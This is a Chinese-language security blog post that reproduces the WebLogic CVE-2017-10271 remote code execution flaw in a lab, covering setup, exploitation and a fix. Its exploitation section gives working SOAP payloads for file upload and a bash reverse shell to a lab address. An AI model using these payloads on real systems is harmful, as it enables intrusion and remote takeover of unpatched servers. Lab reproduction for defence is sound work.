【漏洞復現】Weblogic漏洞搭建與復現:CVE-2017-10271

  • 2020 年 2 月 25 日
  • 筆記

點擊上方「公眾號」 可以訂閱哦!

Hello,各位小夥伴大家好~

這裡是你們的小編Monster~

不知道大家都開工了沒,小編3號就開始工作了喲~

今天一起來看看CVE-2017-10271的復現吧~

Part.1

漏洞說明

漏洞說明

1、漏洞描述

WebLogic WLS組件中存在CVE-2017-10271遠程程式碼執行漏洞,可以構造請求對運行WebLogic中間件的主機進行攻擊,近期發現此漏洞的利用方式為傳播挖礦程式。

2、涉及版本

10.3.6.0.0

12.1.3.0.0

12.2.1.1.0

12.2.1.2.0

Part.2

環境搭建

方法一:Vulhub(推薦)

1、搭建Vulhub

Vulhub是一個基於docker和docker-compose的漏洞環境集合,配合docker進行使用。

首先根據官網說明,安裝好vulhub:

https://vulhub.org/

2、部署漏洞環境

如果剛開機,需要先啟動docker:

之前也寫過一期docker的使用方法:

【Linux】使用docker搭建Apache/Nginx伺服器

可以看到vulhub中包含以下weblogic漏洞環境:

部署CVE-2017-10271:

查看虛擬機狀態:

可以看到埠映射到了7001,嘗試訪問:

成功,搭建完畢~

方法二:手工搭建(不推薦)

不推薦的原因是,相比vulhub,手工搭建可能遇到各種意想不到的問題…

1、帳號創建

由於weblogic不能使用root帳號進行安裝,我們先創建一個帳號:

2、安裝JDK

此處需要jdk1.7.0_15以上的版本,公眾號回復10271即可獲取。

將壓縮包解壓到/usr/local/下

解壓後得到壓縮文件:

配置環境變數,vim /etc/profile,加入以下內容:

載入上面的配置,並檢查是否配置成功:

版本正確,JDK安裝成功~

3、安裝weblogic12.1.3.0

Weblogic安裝包,公眾號回復10271即可獲取。

創建響應文件wls.rsp:

文件內容如下:

[ENGINE]  #DO NOT CHANGE THIS.  Response File Version=1.0.0.0.0    [GENERIC]  #The oracle home location. This can be an existing Oracle Home or a new Oracle Home  ORACLE_HOME=/home/weblogic/Oracle    #Set this variable value to the Installation Type selected. e.g. WebLogic Server, Coherence, Complete with Examples.  INSTALL_TYPE=WebLogic Server    #Provide the My Oracle Support Username. If you wish to ignore Oracle Configuration Manager configuration provide empty string for user name.  MYORACLESUPPORT_USERNAME=    #Provide the My Oracle Support Password  MYORACLESUPPORT_PASSWORD=<SECURE VALUE>    #Set this to true if you wish to decline the security updates. Setting this to true and providing empty string for My Oracle Support username will ignore the Oracle Configuration Manager configuration    DECLINE_SECURITY_UPDATES=true    #Set this to true if My Oracle Support Password is specified  SECURITY_UPDATES_VIA_MYORACLESUPPORT=false    #Provide the Proxy Host  PROXY_HOST=    #Provide the Proxy Port  PROXY_PORT=    #Provide the Proxy Username  PROXY_USER=    #Provide the Proxy Password  PROXY_PWD=<SECURE VALUE>    #Type String (URL format) Indicates the OCM Repeater URL which should be of the format [scheme[Http/Https]]://[repeater host]:[repeater port]  COLLECTOR_SUPPORTHUB_URL=

同樣創建Loc文件oraInst.loc,內容如下:

inventory_loc=/home/weblogic/oraInventory  inst_group=weblogic

開始安裝:

java-jar fmw_12.1.3.0.0_wls.jar -silent -responseFile /home/weblogic/wls.rsp -invPtrLoc /home/weblogic/oraInst.loc

安裝完成~

4、創建domain域名

使用以下命令:

cd /home/weblogic/Oracle  mkdir -p user_projects/domains/base_domain  cd user_projects/domains/base_domain  cp /home/weblogic/Oracle/wlserver/common/templates/scripts/wlst/basicWLSDomain.py .

修改文件:

/home/weblogic/Oracle/user_projects/domains/base_domain/basicWLSDomain.py

添加以下內容:

並刪除從#Create a JMS Server.

到# Writethe domain and close the domain template. 之間的所有內容

刪除後如下:

執行basicWLSDomain.py腳本:

5、啟動weblogic

瀏覽器訪問http://X.X.X.X:7001/console/:

搭建完成~

Part.3

漏洞復現

漏洞檢測

可以直接使用工具進行漏洞檢測:

公眾號回復10271即可獲取工具~

也可以嘗試訪問http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

如果存在該頁面,則可能存在漏洞。

文件上傳

利用該漏洞進行文件上傳,POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        <soapenv:Header>          <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">           <java version="1.6.0" class="java.beans.XMLDecoder">                      <object class="java.io.PrintWriter">                          <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">                          <string>monster_test</string></void><void method="close"/>                      </object>              </java>          </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>  </soapenv:Envelope>

通過burp發包:

訪問上傳頁面test.txt:

上傳成功~

反彈shell

首先在kali進行監聽:

反彈shell poc:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java version="1.4.0" class="java.beans.XMLDecoder">  <void class="java.lang.ProcessBuilder">  <array class="java.lang.String" length="3">  <void index="0">  <string>/bin/bash</string>  </void>  <void index="1">  <string>-c</string>  </void>  <void index="2">  <string>bash -i &gt;&amp; /dev/tcp/192.168.3.130/4444 0&gt;&amp;1</string>  </void>  </array>  <void method="start"/></void>  </java>  </work:WorkContext>  </soapenv:Header>  <soapenv:Body/>  </soapenv:Envelope>

通過Burp發包如下:

成功反彈shell:

利用成功~

Part.4

漏洞修復

1、臨時方案

刪除WebLogicwls-wsat組件:

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war  rm –f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war  rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重啟Weblogic域控制器服務:

DOMAIN_NAME/bin/stopWeblogic.sh  DOMAIN_NAME/bin/startManagedWebLogic.sh

2、通過修補程式升級

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

Part.5

結語

以上就是今天的全部內容了~

歡迎到公眾號:一名白帽的成長史分享/提問哦~